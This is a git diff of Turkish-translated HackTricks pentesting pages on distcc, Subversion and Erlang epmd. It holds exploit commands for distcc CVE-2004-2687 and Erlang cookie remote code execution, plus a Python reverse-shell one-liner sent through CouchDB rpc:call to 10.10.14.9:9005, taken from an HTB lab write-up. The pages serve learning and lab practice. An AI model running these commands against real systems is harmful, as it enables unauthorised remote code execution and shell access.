AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,58 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Temel Bilgiler
|
||||
|
||||
**Distcc**, **ağdaki diğer bilgisayarların boş işlem gücünü** kullanarak **derleme sürecini** geliştiren bir araçtır. Bir makinede **distcc** kurulduğunda, bu makine **derleme görevlerini** başka bir sisteme dağıtabilir hale gelir. Alıcı sistem, gönderilen kodu işlemek için **uyumlu bir derleyici**ye sahip olmalı ve **distccd daemon**'ı çalıştırmalıdır.
|
||||
**Distcc**, ağdaki diğer bilgisayarların **boş işlem gücünü** kullanarak **derleme sürecini** geliştiren bir araçtır. **distcc** bir makinede kurulduğunda, bu makine **derleme görevlerini** başka bir sisteme dağıtma yeteneğine sahiptir. Bu alıcı sistem, gönderilen kodu işlemek için **distccd daemon**'unu çalıştırmalı ve **uyumlu bir derleyici** kurulu olmalıdır.
|
||||
|
||||
**Varsayılan port:** 3632
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
3632/tcp open distccd
|
||||
```
|
||||
# Sömürü
|
||||
# Exploitation
|
||||
|
||||
**CVE-2004-2687**'ye karşı savunmasız olup olmadığını kontrol edin ve keyfi kod yürütmeyi deneyin:
|
||||
**CVE-2004-2687**'ye karşı savunmasız olup olmadığını kontrol edin, rastgele kod çalıştırmak için:
|
||||
```bash
|
||||
msf5 > use exploit/unix/misc/distcc_exec
|
||||
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
|
||||
```
|
||||
# Shodan
|
||||
|
||||
_Bu servisi Shodan'ın tespit etmediğini düşünmüyorum._
|
||||
_Bu hizmeti shodan'ın tespit ettiğini düşünmüyorum._
|
||||
|
||||
# Kaynaklar
|
||||
# Resources
|
||||
|
||||
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec)
|
||||
* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
|
||||
|
||||
Oluşturan: **Álex B (@r1p)**
|
||||
Post created by **Álex B (@r1p)**
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,104 +1,50 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Temel Bilgiler
|
||||
|
||||
**Subversion**, projelerin hem mevcut hem de tarihsel verilerini yönetmede kritik bir rol oynayan merkezi bir **sürüm kontrol sistemi**dir. **Açık kaynaklı** bir araç olan Subversion, **Apache lisansı** altında çalışır. Bu sistem, kullanıcıların zaman içinde yapılan değişiklikleri etkin bir şekilde takip edebilmelerini sağlayan **yazılım sürümleme ve revizyon kontrolü** yetenekleriyle geniş çapta tanınmaktadır.
|
||||
**Subversion**, projelerin hem mevcut hem de tarihsel verilerini yönetmede kritik bir rol oynayan merkezi bir **sürüm kontrol sistemi**dir. **Açık kaynak** bir araç olan bu sistem, **Apache lisansı** altında çalışmaktadır. Bu sistem, kullanıcıların zaman içinde değişiklikleri etkili bir şekilde takip etmelerini sağlayarak **yazılım sürümleme ve revizyon kontrolü** konusundaki yetenekleri ile geniş çapta tanınmaktadır.
|
||||
|
||||
**Varsayılan port:** 3690
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
3690/tcp open svnserve Subversion
|
||||
```
|
||||
## Banner Yakalama
|
||||
|
||||
Banner yakalama, bir hedef sunucunun servislerini tanımlamak için kullanılan bir tekniktir. Bu teknik, sunucunun banner adını (genellikle servis ve sürüm bilgilerini içeren bir mesaj) alarak çalışır. Bu bilgiler, saldırganın sunucu hakkında daha fazla bilgi edinmesine ve potansiyel zayıflıkları keşfetmesine yardımcı olabilir.
|
||||
|
||||
Banner yakalama işlemi, birçok farklı araç ve yöntem kullanılarak gerçekleştirilebilir. Örneğin, `telnet` veya `nc` gibi ağ araçları kullanılabilir. Ayrıca, otomatik banner yakalama işlevine sahip özel araçlar da mevcuttur.
|
||||
|
||||
Banner yakalama, bir hedef sunucunun servislerini belirlemek için önemli bir adımdır. Bu bilgiler, saldırganın hedef sistemdeki zayıflıkları keşfetmesine ve saldırı vektörlerini belirlemesine yardımcı olabilir. Ancak, banner yakalama işlemi, hedef sunucunun güvenlik duvarı veya IDS/IPS gibi koruma önlemleri tarafından engellenebilir. Bu nedenle, banner yakalama işlemi yaparken dikkatli olmak ve izinsiz erişim veya saldırı girişimlerinden kaçınmak önemlidir.
|
||||
## Afiş Yakalama
|
||||
```
|
||||
nc -vn 10.10.10.10 3690
|
||||
```
|
||||
## Numaralandırma
|
||||
|
||||
### SVN Sunucusu Tespit Etme
|
||||
|
||||
Subversion (SVN) sunucusunu tespit etmek için aşağıdaki adımları izleyebilirsiniz:
|
||||
|
||||
1. **Nmap** kullanarak hedef IP adresini taramak için aşağıdaki komutu kullanın:
|
||||
```bash
|
||||
nmap -p 3690 <hedef_IP_adresi>
|
||||
```
|
||||
2. Eğer 3690 portu açıksa, SVN sunucusu muhtemelen çalışıyor demektir.
|
||||
|
||||
### SVN Sunucusu Versiyonunu Tespit Etme
|
||||
|
||||
SVN sunucusunun versiyonunu tespit etmek için aşağıdaki adımları izleyebilirsiniz:
|
||||
|
||||
1. **Nmap** kullanarak hedef IP adresini taramak için aşağıdaki komutu kullanın:
|
||||
```bash
|
||||
nmap -p 3690 --script svn-version <hedef_IP_adresi>
|
||||
```
|
||||
2. Eğer SVN sunucusu çalışıyorsa, Nmap çıktısında sunucunun versiyonunu bulabilirsiniz.
|
||||
|
||||
### SVN Sunucusu İçin Dizin Listeleme
|
||||
|
||||
SVN sunucusunda mevcut olan dizinleri listelemek için aşağıdaki adımları izleyebilirsiniz:
|
||||
|
||||
1. **SVN** komutunu kullanarak hedef sunucuya bağlanın:
|
||||
```bash
|
||||
svn ls svn://<hedef_IP_adresi>:3690
|
||||
```
|
||||
2. Sunucudaki dizinlerin listesini alacaksınız.
|
||||
|
||||
### SVN Sunucusu İçin Dosya İndirme
|
||||
|
||||
SVN sunucusundan dosya indirmek için aşağıdaki adımları izleyebilirsiniz:
|
||||
|
||||
1. **SVN** komutunu kullanarak hedef sunucuya bağlanın:
|
||||
```bash
|
||||
svn checkout svn://<hedef_IP_adresi>:3690/<dizin_adı>/<dosya_adı>
|
||||
```
|
||||
2. Belirtilen dizindeki dosyayı indireceksiniz.
|
||||
|
||||
### SVN Sunucusu İçin Dosya Yükleme
|
||||
|
||||
SVN sunucusuna dosya yüklemek için aşağıdaki adımları izleyebilirsiniz:
|
||||
|
||||
1. **SVN** komutunu kullanarak hedef sunucuya bağlanın:
|
||||
```bash
|
||||
svn import <yerel_dosya_yolu> svn://<hedef_IP_adresi>:3690/<dizin_adı>/<dosya_adı> -m "Dosya yükleme mesajı"
|
||||
```
|
||||
2. Belirtilen dizine dosyayı yükleyeceksiniz.
|
||||
## Sayım
|
||||
```bash
|
||||
svn ls svn://10.10.10.203 #list
|
||||
svn log svn://10.10.10.203 #Commit history
|
||||
svn checkout svn://10.10.10.203 #Download the repository
|
||||
svn up -r 2 #Go to revision 2 inside the checkout folder
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'a göz atın!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Temel Bilgiler
|
||||
|
||||
**Erlang Port Mapper Daemon (epmd)**, dağıtılmış Erlang örnekleri için bir koordinatör olarak hizmet eder. Sembolik düğüm adlarını makine adreslerine eşler ve her düğüm adının belirli bir adresle ilişkilendirildiğini sağlar. **epmd**'nin bu rolü, farklı Erlang düğümleri arasındaki sorunsuz etkileşim ve iletişim için önemlidir.
|
||||
**Erlang Port Mapper Daemon (epmd)**, dağıtık Erlang örnekleri için bir koordinatör olarak hizmet eder. Sembolik düğüm adlarını makine adreslerine eşlemekten sorumludur ve bu, her düğüm adının belirli bir adresle ilişkilendirilmesini sağlar. **epmd**'nin bu rolü, farklı Erlang düğümleri arasında ağ üzerinde kesintisiz etkileşim ve iletişim için kritik öneme sahiptir.
|
||||
|
||||
**Varsayılan port**: 4369
|
||||
```
|
||||
|
@ -24,9 +25,9 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
Bu, varsayılan olarak RabbitMQ ve CouchDB kurulumlarında kullanılır.
|
||||
|
||||
# Numaralandırma
|
||||
# Sayım
|
||||
|
||||
## El ile
|
||||
## Manuel
|
||||
```bash
|
||||
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
|
||||
|
||||
|
@ -37,16 +38,6 @@ erl #Once Erlang is installed this will promp an erlang terminal
|
|||
1> net_adm:names('<HOST>'). #This will return the listen addresses
|
||||
```
|
||||
## Otomatik
|
||||
|
||||
Erlang Port Mapper Daemon (EPMD), Erlang dilinde yazılmış bir sunucu uygulamasıdır. EPMD, Erlang dağıtılmış sistemlerindeki sunucuların bulunmasını ve iletişim kurmasını sağlar. Bu, Erlang tabanlı uygulamaların birbirleriyle iletişim kurmasını kolaylaştırır.
|
||||
|
||||
EPMD, varsayılan olarak TCP 4369 portunda çalışır. Bu nedenle, bir hedefin EPMD'yi kullanıp kullanmadığını belirlemek için bu portu taramak önemlidir.
|
||||
|
||||
EPMD, bir saldırganın hedef sistemdeki Erlang sunucularını keşfetmesine ve saldırı yapmasına olanak tanır. Saldırgan, EPMD'yi hedef sistemde çalıştıran sunucuların listesini alabilir ve bu sunuculara saldırı yapabilir.
|
||||
|
||||
EPMD'yi hedef sistemde taramak için otomatik araçlar kullanılabilir. Bu araçlar, EPMD'yi taramak ve sunucuların listesini almak için otomatik olarak TCP 4369 portunu kontrol eder. Bu, saldırganın hedef sistemdeki Erlang sunucularını keşfetmesini kolaylaştırır ve saldırı yapma potansiyelini artırır.
|
||||
|
||||
EPMD tarama araçları, saldırganlara hedef sistemdeki Erlang sunucularını keşfetme ve saldırı yapma yeteneği sağlar. Bu nedenle, bir sistem yöneticisi olarak, EPMD'yi korumak için güvenlik önlemleri almanız önemlidir. Bu önlemler arasında EPMD'yi güvenli bir şekilde yapılandırmak, gereksiz sunucuları kapatmak ve güvenlik duvarı kurallarıyla EPMD trafiğini sınırlamak bulunur.
|
||||
```bash
|
||||
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
|
||||
|
||||
|
@ -65,7 +56,7 @@ PORT STATE SERVICE VERSION
|
|||
|
||||
## Uzaktan Bağlantı
|
||||
|
||||
Eğer **Kimlik Doğrulama çerezi sızdırabilirseniz**, ana bilgisayarda kodu çalıştırabilirsiniz. Genellikle bu çerez `~/.erlang.cookie` dosyasında bulunur ve erlang tarafından ilk başlatıldığında oluşturulur. Elle değiştirilmediyse veya ayarlanmadıysa, uzunluğu 20 karakter olan rastgele bir dize \[A:Z] olarak oluşturulur.
|
||||
Eğer **Kimlik Doğrulama çerezini sızdırabilirseniz**, host üzerinde kod çalıştırabilirsiniz. Genellikle, bu çerez `~/.erlang.cookie` dosyasında bulunur ve erlang tarafından ilk başlatıldığında oluşturulur. Eğer değiştirilmemiş veya manuel olarak ayarlanmamışsa, 20 karakter uzunluğunda \[A:Z] aralığında rastgele bir dizedir.
|
||||
```bash
|
||||
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
||||
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
||||
|
@ -77,21 +68,22 @@ At last, we can start an erlang shell on the remote system.
|
|||
(test@target.fqdn)1>os:cmd("id").
|
||||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||||
```
|
||||
Daha fazla bilgi için [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/) adresine bakabilirsiniz.\
|
||||
Yazar ayrıca çerezin kaba kuvvet saldırısı için bir program paylaşıyor:
|
||||
Daha fazla bilgi için [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||
Yazar ayrıca çerezi zorlamak için bir program paylaşıyor:
|
||||
|
||||
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
|
||||
|
||||
## Yerel Bağlantı
|
||||
|
||||
Bu durumda, ayrıcalıkları yerel olarak yükseltmek için CouchDB'yi kötüye kullanacağız:
|
||||
Bu durumda, yerel olarak ayrıcalıkları artırmak için CouchDB'yi kötüye kullanacağız:
|
||||
```bash
|
||||
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
||||
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
|
||||
"homer\n"
|
||||
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
||||
```
|
||||
Örnek [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) adresinden alınmıştır. Bu zafiyeti nasıl sömürüleceğini öğrenmek için **Canape HTB makinesini** kullanabilirsiniz.
|
||||
Örnek [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) adresinden alınmıştır.\
|
||||
**Bu açığı** **istismar etmeyi** **pratik yapmak için** **Canape HTB makinesini** kullanabilirsiniz.
|
||||
|
||||
## Metasploit
|
||||
```bash
|
||||
|
@ -103,16 +95,17 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
|
|||
* `port:4369 "portta"`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,31 @@
|
|||
{% hint style="success" %}
|
||||
